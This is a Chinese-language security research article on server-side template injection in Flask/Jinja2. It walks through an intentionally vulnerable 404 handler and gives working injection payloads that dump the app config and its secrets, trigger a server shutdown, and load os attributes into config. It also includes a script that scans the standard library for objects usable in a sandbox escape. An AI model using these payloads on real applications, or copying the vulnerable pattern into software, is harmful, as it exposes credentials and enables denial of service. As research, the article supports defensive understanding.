如果你还没听说过SSTI(服务端模版注入),或者对其还不够了解,在此之前建议大家去阅读一下James Kettle写的一篇文章。
作为一名专业的安全从事人员,我们的工作便是帮助企业组织进行风险决策。及时发现产品存在的威胁,漏洞对产品带来的影响是无法精确计算。作为一名经常使用Flask框架进行开发的人来说,James的研究促使我下定决心去研究在使用Flask/Jinja2框架进行应用开发时服务端模版注入的一些细节。
为了准确评估Flask/Jinja2中存在的SSTI,现在我们就建立一个PoC应用:
@app.errorhandler(404)
def page_not_found(e):template = '''{%% extends "layout.html" %%}
{%% block body %%}Oops! That page doesn't exist.
%s
{%% endblock %%}
''' % (request.url)return render_template_string(template), 404
这段代码的背后场景应该是开发者愚蠢的认为这个404页面有一个单独的模版文件, 所以他在404 view函数中创建了一个模版字符串。这个开发者希望如果产生错误,就将该URL反馈给用户;但却不是经由render_template_string
函数将URL传递给模版上下文,该开发者选择使用字符串格式化将URL动态添加到模版字符串中,这么做没错对吧?卧槽,这还不算我见过最糟糕的。
运行该功能,我们应该可以看到以下预期效果
大多数朋友看到以下发生的行为立刻就会在脑子中想到XSS,当然他们的想法是正确的。在URL后面增加会触发一个XSS漏洞。
目标代码存在XSS漏洞,并且如果你阅读James的文章之后就会知道,他曾明确指出XSS极有可能是存在SSTI的一个因素,这就是一个很棒的例子。但是我们通过在URL后面增加{{ 7+7 }}
在深入的去了解下。我们看到模版引擎将数学表达式的值已经计算出来
在目标应用中我们已经发现SSTI的踪迹了。
接下来有得我们忙的了,下一步我们便深入模版上下文并探寻攻击者会如何通过SSTI漏洞攻击该应用程序。以下为我们修改过后的存在漏洞的view函数:
@app.errorhandler(404)
def page_not_found(e):template = '''{%% extends "layout.html" %%}
{%% block body %%}Oops! That page doesn't exist.
%s
{%% endblock %%}
''' % (request.url)return render_template_string(template,dir=dir,help=help,locals=locals,), 404
调用的render_template_string
现在包含dir
, help
, locals
内置模版,将他们添加到模板上下文我们便能够通过该漏洞使用这些内置模板进行内省。
短暂的暂停,我们来谈谈文档中对于模板上下文的描述。
Jinja globals
Flask template globals
由开发者添加的素材资料
我们最关心的是第一条和第二条,因为他们通常情况下都是默认值,Flask/Jinja2框架下存在SSTI漏洞应用中的任何地方都可以进行利用。第三条取决于应用程序并且实现的方法太多,stackoverflow讨论中就有几种方法。在本文中我们不会对第三条进行深入探讨,但是在对Flask/Jinja2框架的应用进行静态源代码分析的时候还是很值得考虑的。
为了继续内省,我们应该:
阅读文档使用dir内省locals对象来查看所有能够使用的模板上下文使用dir和help.深入所有对象分析感兴趣的Python源代码(毕竟框架都是开源的)
通过内省request
对象我们收集到第一个梦想中的玩具,request
是Flask模版的一个全局对象,其代表“当前请求对象(flask.request)”,在视图中访问request
对象你能看到很多你期待的信息。在request
对象中有一个environ
对象名。request.environ
对象是一个与服务器环境相关的对象字典,字典中一个名为shutdown_server
的方法名分配的键为werkzeug.server.shutdown
,那么大家可以猜猜注射{{ request.environ['werkzeug.server.shutdown']() }}
在服务端会做些什么?一个影响极低的拒绝服务,使用gunicorn运行应用程序这个方法的效果便消失,所以该漏洞局限性还是挺大的。
我们的第二个发现来自于内省config
对象,config
也是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY
等敏感值。查看这些配置项目,只需注入{{ config.items() }}
有效载荷。
最有趣的还是从内省config
对象时发现的,虽然config
是一个类字典对象,但它的子类却包含多个独特的方法:from_envvar
, from_object
, from_pyfile
, 以及root_path
。
最后是时候深入源代码进行更深层次的了解咯,以下为Config
类的from_object
方法在flask/config.py
中的代码:
def from_object(self, obj):"""Updates the values from the given object. An object can be of oneof the following two types:- a string: in this case the object with that name will be imported- an actual object reference: that object is used directlyObjects are usually either modules or classes.Just the uppercase variables in that object are stored in the config.Example usage::app.config.from_object(&#39;yourapplication.default_config&#39;)from yourapplication import default_configapp.config.from_object(default_config)You should not use this function to load the actual configuration butrather configuration defaults. The actual config should be loadedwith :meth:&#96;from_pyfile&#96; and ideally from a location not within thepackage because the package might be installed system wide.:param obj: an import name or object"""if isinstance(obj, string_types):obj &#61; import_string(obj)for key in dir(obj):if key.isupper():self[key] &#61; getattr(obj, key)def __repr__(self):return &#39;<%s %s>&#39; % (self.__class__.__name__, dict.__repr__(self))
我们看到&#xff0c;如果将字符串对象传递给from_object
方法&#xff0c;它会从werkzeug/utils.py
模块将字符串传递到import_string
方法&#xff0c;试图从匹配的路径进行引用并返回结果。
def import_string(import_name, silent&#61;False):"""Imports an object based on a string. This is useful if you want touse import paths as endpoints or something similar. An import path canbe specified either in dotted notation (&#96;&#96;xml.sax.saxutils.escape&#96;&#96;)or with a colon as object delimiter (&#96;&#96;xml.sax.saxutils:escape&#96;&#96;).If &#96;silent&#96; is True the return value will be &#96;None&#96; if the import fails.:param import_name: the dotted name for the object to import.:param silent: if set to &#96;True&#96; import errors are ignored and&#96;None&#96; is returned instead.:return: imported object"""# force the import name to automatically convert to strings# __import__ is not able to handle unicode strings in the fromlist# if the module is a packageimport_name &#61; str(import_name).replace(&#39;:&#39;, &#39;.&#39;)try:try:__import__(import_name)except ImportError:if &#39;.&#39; not in import_name:raiseelse:return sys.modules[import_name]module_name, obj_name &#61; import_name.rsplit(&#39;.&#39;, 1)try:module &#61; __import__(module_name, None, None, [obj_name])except ImportError:# support importing modules not yet set up by the parent module# (or package for that matter)module &#61; import_string(module_name)try:return getattr(module, obj_name)except AttributeError as e:raise ImportError(e)except ImportError as e:if not silent:reraise(ImportStringError,ImportStringError(import_name, e),sys.exc_info()[2])
from_object
方法会给所有变量名为大写的新加载模块添加属性&#xff0c;有趣的是这些添加到config
对象的属性都会维持他们本来的类型&#xff0c;这也就是说被添加到config
对象的函数是可以通过config
对象从模板上下文进行调用的。为了论证这点&#xff0c;我们将{{ config.items() }}
注入到存在SSTI漏洞的应用中&#xff0c;注意当前配置条目&#xff01;
之后注入{{ config.from_object(&#39;os&#39;) }}
。这会向config
对象添加os
库中所有大写变量的属性。再次注入{{ config.items() }}
并注意新的配置条目&#xff0c;并且还要注意这些配置条目的类型。
现在我们可以通过SSTI漏洞调用所有添加到config
对象里的可调用条目。下一步我们要从可用的引用模块中寻找能够突破模版沙盒的函数。
下面的脚本重现from_object
和import_string
并为引用条目分析Python标准库。
#!/usr/bin/env pythonfrom stdlib_list import stdlib_list
import argparse
import sysdef import_string(import_name, silent&#61;True):import_name &#61; str(import_name).replace(&#39;:&#39;, &#39;.&#39;)try:try:__import__(import_name)except ImportError:if &#39;.&#39; not in import_name:raiseelse:return sys.modules[import_name]module_name, obj_name &#61; import_name.rsplit(&#39;.&#39;, 1)try:module &#61; __import__(module_name, None, None, [obj_name])except ImportError:# support importing modules not yet set up by the parent module# (or package for that matter)module &#61; import_string(module_name)try:return getattr(module, obj_name)except AttributeError as e:raise ImportError(e)except ImportError as e:if not silent:raiseclass ScanManager(object):def __init__(self, version&#61;&#39;2.6&#39;):self.libs &#61; stdlib_list(version)def from_object(self, obj):obj &#61; import_string(obj)config &#61; {}for key in dir(obj):if key.isupper():config[key] &#61; getattr(obj, key)return configdef scan_source(self):for lib in self.libs:config &#61; self.from_object(lib)if config:conflen &#61; len(max(config.keys(), key&#61;len))for key in sorted(config.keys()):print(&#39;[{0}] {1} &#61;> {2}&#39;.format(lib, key.ljust(conflen), repr(config[key])))def main():# parse argumentsap &#61; argparse.ArgumentParser()ap.add_argument(&#39;version&#39;)args &#61; ap.parse_args()# creat a scanner instancesm &#61; ScanManager(args.version)print(&#39;\n[{module}] {config key} &#61;> {config value}\n&#39;)sm.scan_source()# start of main code
if __name__ &#61;&#61; &#39;__main__&#39;:main()
以下为脚本在Python 2.7下运行的输出结果&#xff1a;
(venv)macbook-pro:search lanmaster$ ./search.py 2.7[{module}] {config key} &#61;> {config value}...
[ctypes] CFUNCTYPE &#61;>
...
[ctypes] PYFUNCTYPE &#61;>
...
[distutils.archive_util] ARCHIVE_FORMATS &#61;> {&#39;gztar&#39;: (
...
[ftplib] FTP &#61;>
[ftplib] FTP_TLS &#61;>
...
[httplib] HTTP &#61;>
[httplib] HTTPS &#61;>
...
[ic] IC &#61;>
...
[shutil] _ARCHIVE_FORMATS &#61;> {&#39;gztar&#39;: (
...
[xml.dom.pulldom] SAX2DOM &#61;>
...
[xml.etree.ElementTree] XML &#61;>
[xml.etree.ElementTree] XMLID &#61;>
...
至此&#xff0c;我们运用我们之前的方法论&#xff0c;祈求能够寻到突破模版沙盒的方法。
通过这些条目我没能找到突破模版沙盒的方法&#xff0c;但为了共享研究在下面的附加信息中我会把一些十分接近的方法放出来。需要注意的是&#xff0c;我还没有尝试完所有的可能性&#xff0c;所以仍然有进一步研究的意义。
我们有可能使用ftplib.FTP
对象连接到一个我们控制的服务器&#xff0c;并向服务器上传文件。我们也可以从服务器下载文件并使用config.from_pyfile
方法对内容进行正则表达式的匹配。分析ftplib
文档和源代码得知ftplib
需要打开文件处理器&#xff0c;并且由于在模版沙盒中内置的open
是被禁用的&#xff0c;似乎没有办法创建文件处理器。
这里我们可能在本地文件系统中使用文件协议处理器file://
&#xff0c;那就可以使用httplib.HTTP
对象来加载文件的URL。不幸的是&#xff0c;httplib
不支持文件协议处理器。
当然我们也可能会用到xml.etree.ElementTree.XML
对象使用用户定义的字符实体从文件系统中加载文件。然而&#xff0c;就像在Python文档中看到etree
并不支持用户定义的字符实体
即使我们没能找到突破模版沙盒的方法&#xff0c;但是对于Flask/Jinja2开发框架下SSTI的影响已经有进展了&#xff0c;我确信那层薄纱就快被掀开。